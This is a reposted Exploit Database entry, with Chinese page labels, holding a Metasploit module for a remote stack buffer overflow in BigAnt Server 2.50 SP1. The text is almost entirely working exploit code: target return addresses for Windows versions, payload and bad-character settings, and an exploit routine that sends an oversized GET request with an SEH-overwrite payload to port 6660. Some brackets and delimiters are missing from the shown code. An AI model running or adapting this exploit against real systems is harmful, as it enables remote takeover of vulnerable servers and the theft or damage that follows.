BigAnt Server 2.50 SP1 – Remote Buffer Overflow (Metasploit)

Exploit Database
124 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16431/

# $Id: bigant_server_250.rb 9669 2010-07-03 03:13:45Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',

'Description'=> %q{

This exploits a stack buffer overflow in the BigAnt Messaging Service,

part of the BigAnt Server product suite. This module was tested

successfully against version 2.50 SP1.

'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9669 $',

'References' =>

[

# It's not clear if these are correct - there was a fix for

# the v2.2 vuln back in Dec 2008

[ 'CVE', '2008-1914'],

[ 'OSVDB', '44454'],

[ 'URL', 'http://www.exploit-db.com/exploits/9673' ],

[ 'URL', 'http://www.exploit-db.com/exploits/9690' ]

#[ 'B_ID', '28795' ],

#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Payload'=>

{

'Space'=> 710,

'BadChars' => "\x00\x20\x0a\x0d",

'StackAdjustment' => -3500,

'EncoderType' => Msf::Encoder::Type::AlphanumUpper,

'DisableNops'=>'True',

'Platform' => 'win',

'Targets'=>

[

[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k

[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)

[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work

'DefaultTarget'=> 0,

'DisclosureDate' => 'Apr 15 2008'))

register_options([Opt::RPORT(6660)], self.class)

end

def exploit

connect

sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)

sploit << rand_text_alpha_upper(1000 - payload.encoded.length)

print_status("Trying target #{target.name}...")

sock.put(sploit + "\r\n\r\n")

handler

disconnect

end